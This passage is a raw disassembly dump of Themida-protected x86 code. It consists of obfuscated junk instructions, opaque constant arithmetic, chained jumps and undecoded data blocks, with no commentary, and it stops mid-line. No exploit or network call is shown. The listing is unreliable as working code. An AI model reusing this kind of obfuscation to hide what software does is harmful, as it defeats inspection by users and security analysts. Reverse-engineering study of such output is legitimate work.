31243C33h, 3C33243Ch, 0C895C24h, 2B924h, 0E9570000h dd 1E7Ch, 0E9515F54h, 23DDh, 8704C083h, 8FE92404h, 8B0000D0h dd 83E9242Ch, 6600004Dh, 2D66D829h, 5B6668E7h, 66F00166h dd 660E8368h, 0E9243489h, 0A182h, 9D1C77FFh, 4105866h dd 43E99C24h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5526D3: ; CODE XREF: Themida_:0055121Aj pop eax xchg edx, [esp] pop esp jmp loc_55CF3F ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0DCAE9h db 0 ; --------------------------------------------------------------------------- loc_5526E5: ; CODE XREF: Themida_:0055DEE5j shr esi, 8 not esi sub esi, 0FFDBED0Ah add edx, esi pop esi xchg edx, [esp] mov esp, [esp] add esp, 4 sub eax, 156A258Eh or eax, eax jnz loc_558E3D push 16E57827h push dword ptr [esp] pop edx push ebp push esp jmp loc_556ECC ; --------------------------------------------------------------------------- db 0BDh, 4Eh, 76h dd 0EDC164DDh, 5AB06805h, 97E90000h db 18h, 1, 0 ; --------------------------------------------------------------------------- loc_55272B: ; CODE XREF: Themida_:0055F245j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_56031C ; --------------------------------------------------------------------------- aYsC db 'Y=',0 align 4 loc_552748: ; CODE XREF: Themida_:00557E21j dec ebx shl ebx, 3 push ebx not dword ptr [esp] pop ebx jmp loc_55BA1C ; --------------------------------------------------------------------------- loc_552756: ; CODE XREF: Themida_:0055B7A8j sub ecx, 540BF20Ah jmp loc_5619E0 ; --------------------------------------------------------------------------- db 5Ch, 50h, 0B8h dd 564A3529h, 105h, 5697E900h, 8B660000h, 26682404h, 8900002Fh dd 0EC83243Ch, 24248904h, 4240483h, 8B2434FFh, 0C481243Ch dd 4, 0BF8BE955h, 15E0000h, 7B992DC8h, 0E1E9769Eh, 5A00005Bh dd 0FFF363E9h, 241C8BFFh, 0BA04C483h, 841480F1h, 0E0D3E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5527BE: ; CODE XREF: Themida_:00557292j add edx, eax jmp loc_56188C ; --------------------------------------------------------------------------- loc_5527C5: ; CODE XREF: Themida_:0055358Cj push 0A0Ah mov [esp], esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_55DFEC ; --------------------------------------------------------------------------- db 81h, 0EFh, 0 dd 89ED3378h, 243C8BFEh, 4C481h, 0BF570000h, 3480260Ch dd 83E7814Fh, 0C1324204h, 0E78103EFh, 4920165Bh, 2A46F781h dd 0F801210Eh, 0EBD2E9h, 0ADEE8100h, 890C1104h, 0F9E95EF2h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552827: ; CODE XREF: Themida_:0056056Aj add ebp, 4 add ebp, 4 jmp loc_562CD1 ; --------------------------------------------------------------------------- dd 34FFE300h, 24048B24h, 4C481h, 38E90000h, 68000023h dd 604h, 89243C89h, 0BF5752E7h, 4, 0E95FFA89h, 0FFFFE9BBh dd 1E41E9BEh, 87A0BB58h, 0F3296557h, 5E2434FFh, 0C104C483h dd 0EBD104EBh, 1189C381h, 0EB816DDFh, 1CFC3C11h, 4EC81h dd 14890000h, 3D6CE924h, 50570000h, 0CA4213B8h, 2EBB5337h dd 814AD055h, 45D0A2C3h, 13252DDBh, 0D8296E94h, 94132505h dd 0C9E95B6Eh, 5A000124h, 5C241C87h, 0FFEC66E9h, 0AEEE81FFh dd 0FF2DA62Ah, 0F7E92434h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5528D3: ; CODE XREF: Themida_:0055E720j xor al, bl mov bx, [esp] push ebx mov ebx, esp push edx mov edx, 4 add ebx, edx pop edx push edi mov edi, 2 add ebx, edi pop edi xchg ebx, [esp] jmp loc_559447 ; --------------------------------------------------------------------------- loc_5528F6: ; CODE XREF: Themida_:0055A916j push ebp mov ebp, esp push edi push eax mov eax, 24AA41F1h mov edi, 0A3E18984h sub edi, eax pop eax sub edi, 1 neg edi xor edi, 80C8B86Ah add ebp, edi pop edi push eax mov eax, 2589786Bh jmp loc_558288 ; --------------------------------------------------------------------------- dd 305BD888h, 885866C3h, 2CE95BDEh, 81FFFFFAh, 4C6h, 4EE8100h dd 87000000h, 248B2434h, 24148924h, 0EB2EFFBAh, 0D7856846h dd 0F1E9800Bh db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_552957: ; CODE XREF: Themida_:00558CE8j mov edx, 3A84259Bh sub ecx, edx pop edx sub ecx, 0C7A14B0Bh jmp loc_562C8E ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop edx xor bl, al push 79C2h mov [esp], esi push esp pop esi jmp loc_562733 ; --------------------------------------------------------------------------- loc_55298F: ; CODE XREF: Themida_:005549DBj xor eax, ebx jmp loc_556471 ; --------------------------------------------------------------------------- dw 3489h dd 5E196824h, 0C890000h, 2873B924h, 0CE890D72h, 8BF00159h dd 0C4812434h, 4, 48B1888h, 5B545324h, 98BEE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5529C2: ; CODE XREF: Themida_:00552B2Bj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5588D5 ; --------------------------------------------------------------------------- dd 0C2F1815Dh, 8978B64Eh, 500AE9CFh, 55590000h, 22727BBDh dd 0B2E95739h, 8F000029h, 248B2404h, 241C8924h, 0FD3AB4BBh dd 0CF73E91Dh, 3C890000h, 5174E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552A0E: ; CODE XREF: Themida_:005577C0j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_56499D ; --------------------------------------------------------------------------- db 28h, 0F0h, 2Ch dd 148B6636h, 2C48124h, 0FF000000h, 1C8B2434h, 0D5E95124h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552A3B: ; CODE XREF: Themida_:0055C9D3j mov ebx, 5C016823h mov esi, 5C016824h sub esi, ebx pop ebx push eax mov eax, 364C45EEh jmp loc_5598BD ; --------------------------------------------------------------------------- db 89h dd 8852240Ch, 5AF188C6h, 0C8BCF88h, 0E6895624h, 4C681h dd 3E90000h, 0B900001Ch, 78D6482Eh, 780EF181h, 0CB091B0Ah dd 0E9240C8Bh, 5A73h, 26EA8158h, 163005Fh, 6AE957CAh, 890000C7h dd 0E9515DE9h, 0FFFFE705h ; --------------------------------------------------------------------------- loc_552A9C: ; CODE XREF: Themida_:0055B9ADj sub ebp, 66AA4E35h xor ebp, 6AF36C96h jmp loc_555E34 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E2895224h, 34F368h, 24348900h, 5D4CC7BEh, 3E6C131h dd 0F76AC681h, 0D6F78B6Ch, 2208CE81h, 0E9520967h, 11240h ; --------------------------------------------------------------------------- loc_552AD8: ; CODE XREF: Themida_:00563E3Dj mov ebp, [esp] add esp, 4 and ecx, ebp push dword ptr [esp] pop ebp push ecx push esp jmp loc_55F593 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFCD26h, 8B2434FFh, 0A6E92404h, 8300007Dh, 0FFE904C4h db 0B8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552B03: ; CODE XREF: Themida_:0055854Cj pop edx sub edx, edi pop edi and eax, edx jmp loc_55F510 ; --------------------------------------------------------------------------- dw 0E95Ch dd 7D0Eh, 196BC281h, 0EA294E57h, 4D41E9h db 0 ; --------------------------------------------------------------------------- loc_552B21: ; CODE XREF: Themida_:005503C3j not ecx xchg ecx, [esp] push dword ptr [esp] pop ecx push ebp jmp loc_5529C2 ; --------------------------------------------------------------------------- loc_552B30: ; CODE XREF: Themida_:0055461Bj add ebx, 4 xor ebx, [esp] jmp loc_55F6EC ; --------------------------------------------------------------------------- loc_552B3B: ; CODE XREF: Themida_:00561135j or ebx, 45444E05h add ebx, 0E47A8AC2h mov edx, ebx pop ebx sub edx, 1 jmp loc_5579FE ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFFE39Eh ; --------------------------------------------------------------------------- loc_552B58: ; CODE XREF: Themida_:0056471Fj not edx jmp loc_562562 ; --------------------------------------------------------------------------- db 81h dd 4C5h, 4ED8300h, 0FFF161E9h, 54C181FFh, 89C850FFh, 0B2CEE9CFh dd 0FA010000h, 70D868h, 241C8900h, 30FE68h, 240C8900h dd 2020E9h, 91C18100h, 1BCDE90h, 0D0E959CBh, 5300000Fh dd 0FB3705BBh, 0D3F74B58h, 0C381D3F7h, 6E2C4297h, 241BEB81h dd 0F3811E84h, 0EEA87287h, 10490E9h, 37EA8000h, 0C280E2D0h dd 8FC280E5h, 8826F280h, 0CF305AD7h, 54F65359h, 805B0124h dd 0A7E90FEFh, 81000096h, 4C7h, 4C78300h, 5C243C87h, 0A868h dd 241C8900h, 0A4BFE9h, 35D0F700h, 9F4B96CEh, 0E958C501h dd 0FFFFD9C2h ; --------------------------------------------------------------------------- loc_552C0C: ; CODE XREF: Themida_:0054FD57j xor [esp], edx xor edx, [esp] pop esp push esi mov esi, 7DB80F7Eh add ebx, esi pop esi add ebx, 2BB40775h push edi jmp loc_54FB37 ; --------------------------------------------------------------------------- dd 0C35D00BAh, 5AD38950h, 368BBF57h, 0EFD12EA6h, 5BEFF781h dd 0B8502949h, 6B63F84h, 7CCDC781h, 0C72952A7h, 7CCDEF81h dd 48B52A7h, 4C48324h, 2E8AC781h, 0F829F76Bh, 0E9243C8Bh dd 0EDB9h, 36F2815Dh, 535E4E58h, 0C40DFFBBh, 0DC8BE957h dd 0C381FFFFh, 0B8923FE4h, 0C15BDD89h, 0ED8106E5h, 494AD442h dd 2D5DE801h, 0D722873h, 0E808E9h, 0E9F80100h, 6968h, 0B652F328h dd 83DEF63Ch, 1BE904ECh, 100002Ch, 0E80159C8h, 0BC6E562Dh dd 2434FF68h, 0E189515Dh, 4C181h, 0A6E90000h, 81000117h dd 0AC1E0AC1h, 0A7C18124h, 0C1090A4Fh, 0E98102E9h, 0FFFFFFFFh dd 7FA9C181h, 0E9817302h, 645B6A6Eh, 0AD1F181h, 0C8016549h dd 1731E959h, 44810001h, 475F0824h, 0C1E95F4Fh, 33000101h dd 3C31243Ch, 243C3324h, 71FCE95Ch, 0E9AD0000h, 46BCh ; --------------------------------------------------------------------------- loc_552D1C: ; CODE XREF: Themida_:00555C8Bj pop eax or edi, ebx mov ebx, [esp] add esp, 4 xor edi, 0CEB73BFFh add ecx, 7AB21D5Fh add ecx, 610A5689h add ecx, edi sub ecx, 610A5689h sub ecx, 7AB21D5Fh pop edi xchg ecx, [esp] pop esp jmp loc_556976 ; --------------------------------------------------------------------------- loc_552D4F: ; CODE XREF: Themida_:00558244j pop esi mov ebp, [esp] add esp, 4 push 2F09h mov [esp], ebx mov ebx, 2 sub edi, ebx pop ebx xchg edi, [esp] pop esp mov [esp], ax jmp loc_54F816 ; --------------------------------------------------------------------------- loc_552D73: ; CODE XREF: Themida_:0055D35Dj mov edi, 6E4D25F8h add eax, edi pop edi sub eax, 3380DC7h sub eax, ecx add eax, 3380DC7h jmp loc_55E893 ; --------------------------------------------------------------------------- dd 34FFC830h, 240C8B24h, 32DC68h, 241C8900h, 0C381E389h dd 4, 512568h, 24348900h, 4BEh, 5EF30100h, 7E59E9h, 0CFEF8100h dd 0E91A037Fh, 24A3h ; --------------------------------------------------------------------------- loc_552DC4: ; CODE XREF: Themida_:00554F62j sub esp, 4 jmp loc_5598F8 ; --------------------------------------------------------------------------- db 66h dd 0E3EB8059h, 0FFDB6AE9h, 763C68FFh, 4890000h, 4265E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552DE6: ; CODE XREF: Themida_:0055687Aj xor ebp, [esp] xor [esp], ebp jmp loc_56319B ; --------------------------------------------------------------------------- loc_552DF1: ; CODE XREF: Themida_:005565ABj push ecx mov ecx, 0DD2BEBE3h jmp loc_553A46 ; --------------------------------------------------------------------------- dd 4EC81h, 1C890000h, 57E0BB24h, 0EB812D92h, 28158AEh dd 0E66FF381h, 0DE010A15h, 613E95Bh, 685A0000h, 30C2h dd 0BF243C89h, 18A276B3h, 0C3F3C781h, 21E95744h, 0BB000058h dd 152478E9h, 34FFD889h, 0C4835B24h, 59D92D04h, 1DE95E99h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552E4F: ; CODE XREF: Themida_:005610D8j xor ecx, ebx pop ebx jmp loc_556F78 ; --------------------------------------------------------------------------- db 81h dd 0C81C1FE9h, 21C1813Ch, 5A4A0B62h, 35E9E951h, 1C890000h dd 81BB24h, 0D8011E3Dh, 0FFCBA8E9h db 0FFh ; --------------------------------------------------------------------------- loc_552E79: ; CODE XREF: Themida_:005624F7j push edi push edx jmp loc_561930 ; --------------------------------------------------------------------------- dd 2D05E0C1h, 6CF17278h, 2862D935h, 8BC3293Fh, 0C4812404h dd 4, 0EC81FB29h, 4, 0E9243C89h, 6821h, 0AEC1815Dh, 0E914554Ah dd 2802h ; --------------------------------------------------------------------------- loc_552EB4: ; CODE XREF: Themida_:00550D57j and eax, ebp pop ebp or edx, eax jmp loc_55C9CF ; --------------------------------------------------------------------------- loc_552EBE: ; CODE XREF: Themida_:005565E6j mov ecx, 230E5750h sub eax, 54484007h sub eax, ecx jmp loc_5546FE ; --------------------------------------------------------------------------- db 0FFh dd 3FE92C77h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552ED7: ; CODE XREF: Themida_:00564603j neg eax push edx mov edx, 79156150h jmp loc_562970 ; --------------------------------------------------------------------------- dd 4EC81h, 0C890000h, 4ECAB924h, 0BE56634Fh, 3F6C018Ah dd 0D1B6E9h, 80DEF600h, 0F4282AC6h, 66CCFE5Ah, 0E99EB151h dd 0D53Dh ; --------------------------------------------------------------------------- loc_552F10: ; CODE XREF: Themida_:00550121j and eax, ebp jmp loc_55E3A7 ; --------------------------------------------------------------------------- a1YsD db '1Yʄ',0 dw 900h dd 0B7685EF0h, 0E9000048h, 1428h, 24048F5Ch, 6624248Bh dd 0B0E930FFh, 0B9FFFFFBh, 0CFFBBE2h, 0E6C4E9h db 0 ; --------------------------------------------------------------------------- loc_552F45: ; CODE XREF: Themida_:0055FD88j xchg edx, [esp] jmp loc_55F4F6 ; --------------------------------------------------------------------------- loc_552F4D: ; CODE XREF: Themida_:0055CD23j push 52B7h mov [esp], edi push 371D5038h push dword ptr [esp] pop edi add esp, 4 xor edi, 15804E5Ah shr edi, 7 push edi jmp loc_561C48 ; --------------------------------------------------------------------------- loc_552F70: ; CODE XREF: Themida_:00550CBAj xor edx, [esp] xor [esp], edx mov eax, [esp] push esi jmp loc_55586D ; --------------------------------------------------------------------------- db 51h dd 280E68h, 241C8900h, 0E95213B3h, 0FFFFD438h, 0E78957ADh dd 4C781h, 0EF810000h, 4, 0C074E9h, 24048900h, 8B03E9h dd 240C8700h, 0FE63E9h, 5B9BF00h, 0FB092ECCh, 11B6FE9h db 0 ; --------------------------------------------------------------------------- loc_552FC1: ; CODE XREF: Themida_:005571EFj pop edx add edx, 4 add edx, 4 jmp loc_5573E0 ; --------------------------------------------------------------------------- loc_552FD0: ; CODE XREF: Themida_:00558C2Ej push esi push ebp push 0B7B4CE5h pop ebp dec ebp add ebp, 289E2857h dec ebp xor ebp, 3419753Ah push edx mov edx, ebp mov esi, edx jmp loc_562A5B ; --------------------------------------------------------------------------- dd 4C581h, 2C870000h, 24248B24h, 0FFC815E9h db 0FFh ; --------------------------------------------------------------------------- loc_553001: ; CODE XREF: Themida_:00551F3Ej mov [esp], eax push ecx jmp loc_5513E8 ; --------------------------------------------------------------------------- dw 8966h dd 3E92404h, 0F7FFFFC8h, 0F3B6E9DDh, 0C3830000h, 241C8704h dd 243C875Ch, 8924248Bh, 5954240Ch, 0B2D0E9h, 22C58100h dd 81EF2EF0h, 571270C6h, 81EE292Dh, 571270EEh, 1639E92Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55304A: ; CODE XREF: Themida_:0055017Fj sub ebp, edi pop edi add ebp, eax add ebp, 1E31DC4h sub esp, 4 mov [esp], ecx mov ecx, 2A8D0333h inc ecx and ecx, 2C247598h shr ecx, 4 inc ecx sub ecx, 0CE620EB0h add ebp, 169663B8h sub ebp, ecx sub esp, 4 mov [esp], edx jmp loc_55E6BA ; --------------------------------------------------------------------------- db 81h dd 0F96199EEh, 5EC6812Bh, 8947E333h, 0BEB85EF7h, 1AA82BCh dd 243C8BF8h, 4C481h, 0C5010000h, 0E7B8E9h db 0 ; --------------------------------------------------------------------------- loc_5530AD: ; CODE XREF: Themida_:00554E25j add esi, eax jmp loc_5565BA ; --------------------------------------------------------------------------- dd 592434FFh, 76B2E9h, 242C8B00h, 0E9E68956h, 0B2D9h, 2404895Ch dd 7E27E9h, 81CF2900h, 914C72C7h, 0AEC78124h, 59420610h dd 4C78159h, 0E9000000h, 0FFFFDAAAh, 0E9D0F791h, 0FFFFDC31h dd 0EE2019B9h, 59CD892Dh, 336DED81h, 0F5816CEFh, 6B2A410Ch dd 0FFFFC581h, 0CD81FFFFh, 62D071EBh, 68h, 242C8100h, 6BFE4116h dd 0FAD7E9h, 241C8900h, 2434FF54h, 5B2434FFh, 4C481h, 83520000h dd 0B1E904ECh, 5B00007Eh, 4C381h, 0B7E90000h, 81FFFFD1h dd 4C7h, 68505100h, 28E92977h, 8324048Bh, 0F79104C4h, 875091D1h dd 0D0F72404h, 58240487h, 89445735h, 0C1E95663h, 8B0000DDh dd 0C4812414h, 4, 240C335Fh, 33240C31h, 248B240Ch, 48B6624h dd 0A963E924h, 0DCB60000h, 8904EC83h, 0F188240Ch, 0E959CC88h dd 5BE3h, 0B2A8E992h, 34870000h, 0DE6BE924h, 0EA81FFFFh dd 1A31F921h, 815AD301h, 8254D7C3h, 0DAFBE934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5531CA: ; CODE XREF: Themida_:00561931j mov ecx, 6CC15BF8h inc ecx jmp loc_559E4E ; --------------------------------------------------------------------------- db 54h, 8Fh, 4 dd 4EC8124h, 89000000h, 4BD242Ch, 1000000h, 5D04246Ch dd 4BD555Bh, 0E9000000h, 115B4h, 2C76E60Dh, 55DAE91Fh dd 51480000h, 2DC6DDB9h, 59C80158h, 158C331h, 83055BDAh dd 2927F539h, 39832DD0h, 34FF27F5h, 0E9525A24h, 0E6ACh dd 6E2BE56h, 0F0010E36h, 5959E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553236: ; CODE XREF: Themida_:0055B287j xor ecx, 0D28E025Eh add ecx, 1337B11h add ecx, edi jmp loc_550420 ; --------------------------------------------------------------------------- loc_553249: ; CODE XREF: Themida_:00557F02j add esi, 0E1C92E1Ch add ecx, esi pop esi add eax, ecx push dword ptr [esp] jmp loc_554435 ; --------------------------------------------------------------------------- loc_55325C: ; CODE XREF: Themida_:00562379j and ecx, 61960985h and ecx, 74CB192Eh and ecx, 21486FC1h inc ecx sub ecx, 0CFE4C3BDh sub eax, ecx jmp loc_55571A ; --------------------------------------------------------------------------- loc_55327C: ; CODE XREF: Themida_:00551A08j mov [esp], edx mov dl, 17h sub esp, 4 jmp loc_550D63 ; --------------------------------------------------------------------------- dd 0E904C483h, 74ABh ; --------------------------------------------------------------------------- loc_553294: ; CODE XREF: Themida_:00555EDDj pop esp mov [esp], ecx sub esp, 4 jmp loc_5564E4 ; --------------------------------------------------------------------------- aWichk db 'WhK#',0 dw 8900h a4Sq db '4$q',0 dw 0C100h dd 0EFC107EFh, 81D7F704h, 0F59B7AEFh, 21DAE9FFh, 66BB0000h dd 55515362h, 0FB1048BDh, 5DEB294Fh, 521ABE56h, 0F3290158h dd 5224348Bh, 0C281E289h, 4, 4C281h, 14870000h, 0DE015C24h dd 0E92434FFh, 10F2Dh, 53D5BD55h, 0EA016F25h, 24348B5Dh dd 0E9E08950h, 2514h, 0E92434FFh, 3414h, 0C2E9D301h, 0BFFFFFEAh dd 168932A9h, 0E5490405h, 2DF80163h, 63E54904h, 56243C8Bh dd 0C681E689h, 4, 4C681h, 34330000h, 24343124h, 0E9243433h dd 439Ch ; --------------------------------------------------------------------------- loc_553350: ; CODE XREF: Themida_:00554178j add edx, ebx pop ebx jmp loc_55CF11 ; --------------------------------------------------------------------------- dd 315FFD31h, 242C8BE9h, 0E904C483h, 0EE75h, 0BE56E389h dd 1F7B5B1Fh, 1705EE81h, 0E9552C7Bh, 0E09Dh, 8324148Bh dd 0C18104C4h, 4, 1328E9h db 0 ; --------------------------------------------------------------------------- loc_55338D: ; CODE XREF: Themida_:00550064j neg esi sub esi, 0DF77D72Ch add ecx, esi pop esi push ecx push dword ptr [esp] pop edx push edx mov edx, esp jmp loc_562345 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0B4h dd 18C8EB6h, 9311E9EBh, 0C8290000h, 2434FF59h, 4C4835Fh dd 5549E9h, 62E95E00h, 5E000036h, 0FFF199E9h db 0FFh ; --------------------------------------------------------------------------- loc_5533CD: ; CODE XREF: Themida_:0056048Dj pop ecx pop edi sub ecx, 3DC70EA3h push esi jmp loc_557EF7 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 2BE5600h, 81000000h, 0BB6FB9E9h, 0ECA3E96Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5533F2: ; CODE XREF: Themida_:00558C0Bj xor ecx, 43CD4E38h shl ecx, 8 inc ecx sub ecx, 579E4619h shr ecx, 1 xor ecx, 15CC4C70h add esi, ecx pop ecx add esi, 4 jmp loc_55B476 ; --------------------------------------------------------------------------- aI4S db '4$',1Bh,'~',0 dd 0D6ED8100h, 15BD238h, 0D6C581D5h, 505BD238h, 0CDA0E9h dd 0E9FE0100h, 2F8Ch, 8105EAC1h, 8A40E2F2h, 0FFF1E907h dd 0AF680000h, 89000029h, 6855240Ch, 2B30FF5h, 0DBC5815Dh dd 8125F647h, 0A957D4F5h, 0E9E98928h, 5A24h ; --------------------------------------------------------------------------- loc_553468: ; CODE XREF: Themida_:0055D1AFj mov esp, [esp] push 645Ah mov [esp], edi push 2D13h mov [esp], ebx push 7F047EFBh jmp loc_55C356 ; --------------------------------------------------------------------------- db 54h, 59h, 81h dd 4C1h, 4C18100h, 33000000h, 0C31240Ch, 240C3324h, 4C9B685Ch dd 1C890000h, 291BBB24h, 0FEE97CBDh, 50000109h, 34E9C888h db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5534B7: ; CODE XREF: Themida_:00559EBDj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub ebx, 43D15A76h add ebx, eax push eax mov eax, esp jmp loc_55864E ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 0E95A0000h, 0C68Ch ; --------------------------------------------------------------------------- loc_5534E4: ; CODE XREF: Themida_:00550D75j pop ecx pop ebx not ah xor ah, 0A5h or dl, ah mov eax, [esp] jmp loc_560442 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 437DE8BAh, 5AD78904h, 3C8BF809h, 7BE95524h, 8B0000F4h dd 0C4832404h, 40504h, 80E90000h, 100010Bh, 24148BD0h dd 4C481h, 0BA520000h, 4, 505AD001h, 42474FFh, 24048F58h dd 0E924248Bh, 10B3Dh ; --------------------------------------------------------------------------- loc_553540: ; CODE XREF: Themida_:0055A145j pop eax pop eax and eax, ebp jmp loc_556AA6 ; --------------------------------------------------------------------------- dd offset dword_412F50+18h align 2 dw 1C89h dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 0CF9DE95Ch dd 0B068FFFFh, 89000066h, 0E954243Ch, 0B1FEh, 83240C8Bh dd 0D60104C4h, 0B626E9h, 0E6E95900h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553587: ; CODE XREF: Themida_:0055D20Cj mov eax, 0E846ADDh jmp loc_5527C5 ; --------------------------------------------------------------------------- db 5Ch, 89h, 14h aQhozst db '$hOz,',0 dw 6600h dd 0E924048Bh, 295Ah, 0E9241C33h, 4C4Ch, 65F96850h, 48B0183h dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 491E95Ch dd 0BE560001h, 4, 4247401h, 0D4E95F5Eh, 0BB0000A3h, 4 dd 3B4B850h, 0C129655Eh, 0B6E98158h, 155793Eh, 0B6C181D9h dd 8155793Eh, 5E03B4C1h, 3B36E965h, 8B660000h, 0ED68240Ch dd 8900007Dh, 0E9542404h, 1262h, 0E9240C89h, 0FFFFD6ABh dd 8704E883h, 895C2404h, 348B242Ch, 4C48124h, 50000000h dd 1564E9h, 242C3300h, 3024248Bh, 0E99C2404h, 0FFFFC1CEh dd 3314ADBFh, 0D8C2E96Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553652: ; CODE XREF: Themida_:0055B9EBj not esi jmp loc_5647E3 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 22FD6824h, 14890000h, 0E9C6824h, 24890000h, 24048324h dd 2434FF04h db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add edx, 4 push 7AF2h mov [esp], ebx mov ebx, 2 sub edx, 23CE78CBh add edx, 22E92F01h jmp loc_55CEE8 ; --------------------------------------------------------------------------- dd 0E9242C33h, 18DFh, 3CB2E181h, 0C1816475h, 1, 0D7F7F987h dd 87E9F987h, 66000083h, 5724048Bh, 0CE95F54h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5536D7: ; CODE XREF: Themida_:00555C70j sub cl, bh push dword ptr [esp] jmp loc_55F17D ; --------------------------------------------------------------------------- loc_5536E1: ; CODE XREF: Themida_:00551201j add ebp, 4 push 99Fh mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_54FBAB ; --------------------------------------------------------------------------- loc_5536FE: ; CODE XREF: Themida_:00551075j add esp, 4 shr edx, 4 shl edx, 2 sub esp, 4 mov [esp], edi mov edi, 6FD159B5h and edx, edi jmp loc_551BC5 ; --------------------------------------------------------------------------- dd 0C56BE56h, 0EEC14F8Dh, 59C68106h, 0E9775647h, 0FFFFECBCh dd 40685155h, 0E975BC7Bh, 1F6Eh, 9C2CD828h, 2B3368h, 240C8900h dd 6E79E9h, 81E38900h, 4C3h, 4C38300h, 0FFD73BE9h, 4C181FFh dd 81000000h, 2C1h, 240C8700h, 0FFDEAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_553771: ; CODE XREF: Themida_:005599E9j sub edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_55FEF0 ; --------------------------------------------------------------------------- loc_553782: ; CODE XREF: Themida_:00550591j push dword ptr [esp] pop edx add esp, 4 shl ecx, 8 not ecx push eax mov eax, 122B2A48h or ecx, eax pop eax xor ecx, 0F2EBEAFFh and eax, ecx push dword ptr [esp] pop ecx add esp, 4 shr eax, 0Ah xor eax, ecx push 46BAh mov [esp], eax push 5DEAh mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] xchg ebx, esi push ebx xchg edi, [esp] xchg ebx, edi push ebx not dword ptr [esp] jmp loc_562FE6 ; --------------------------------------------------------------------------- dd 0EF808AB7h, 2C59681Eh, 4890000h, 0B189B424h, 8BE128EBh dd 0C4832404h, 8BF90004h, 0D9E9241Ch, 0BA000045h, 351005C2h dd 685AD189h, 1D90h, 59BAE9h, 0F6815D00h, 0EE37DFFBh, 34FFF301h dd 2434FF24h, 4C4835Eh, 555E5456h, 1E29E9h, 0EC835300h dd 24148904h, 0D57030BAh, 0DA2CE914h, 685CFFFFh, 2718h dd 55240C89h, 0DB267DBDh, 8E5C150h, 8105EDC1h, 0FD7467C5h dd 0FFFBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55385E: ; CODE XREF: Themida_:0055CC8Fj shl ecx, 6 add ecx, 82BD19BAh add esi, ecx jmp loc_55DEE4 ; --------------------------------------------------------------------------- dw 0FA01h dd 4E2C15Fh, 8102E2C1h, 2DF604C2h, 5AD101A3h, 8B240C87h dd 0EC812424h, 4, 0E9240489h, 10494h ; --------------------------------------------------------------------------- loc_553894: ; CODE XREF: Themida_:0055F178j sub esp, 4 mov [esp], ebx mov ebx, 43B843EAh shl ebx, 8 sub ebx, 11C74ED1h push edx jmp loc_55903E ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 0E9000000h, 608Ah, 0FE88DFF6h, 0BEE6805Bh dd 0FFBF99E9h, 242C89FFh, 8904EC83h, 65BF243Ch, 813F7E4Dh dd 85283EE7h, 0F7A2E933h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5538E2: ; CODE XREF: Themida_:0056128Ej mov edi, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_5511FB ; --------------------------------------------------------------------------- loc_5538F0: ; CODE XREF: Themida_:0055E451j push edi mov edi, 60060316h sub edi, 0E433C064h jmp loc_55F6A3 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 81000000h, 4C5h, 242C8700h, 240C875Ch, 24D3665Ch, 0F7E99C24h dd 87FFFFBEh, 895C242Ch, 8B54242Ch, 0C481242Ch, 4, 2B84B850h dd 0A0E94FA5h, 5A000029h, 5C243487h, 6DF168h, 240C8900h dd 25A9BD55h, 83B959ACh, 1B79DF0h, 0C9C4E9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55395A: ; CODE XREF: Themida_:00556384j xchg eax, [esp] pop esp push dword ptr [esp] pop esi jmp loc_559505 ; --------------------------------------------------------------------------- db 0FFh a4Xh db '4$Xh<',0Ah,0 align 10h dd 89241489h, 84BE56E2h, 811C8A4Fh, 0A84AEBC6h, 17B4E953h dd 0E3890000h, 4EC81h, 0C890000h, 4B924h, 0CB010000h, 81240C8Bh dd 